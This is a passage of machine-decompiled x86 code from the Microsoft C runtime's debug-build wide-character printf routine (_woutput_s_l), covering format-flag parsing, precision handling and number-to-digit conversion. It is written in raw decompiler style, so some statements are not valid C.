												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43ca74; // 0xc2819003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA60))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43cae0; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CAA4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E004283F0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B950( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEE0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xab8ad97d
															E00424750(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0x2b8ac62f
																	E00424750(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0x2b8ac616
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E004283F0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AEE0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AEE0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B620(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004283F0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041AEE0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E004312B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430820( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E004308A0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041E410();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422F00(_t546))) = 0x16;
										E00422C90(_t534, _t546, _t598, _t599, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041AEB0(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041E410();
									_t603 = _t603 + 0x14;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041AEB0(_t600 - 0x40);
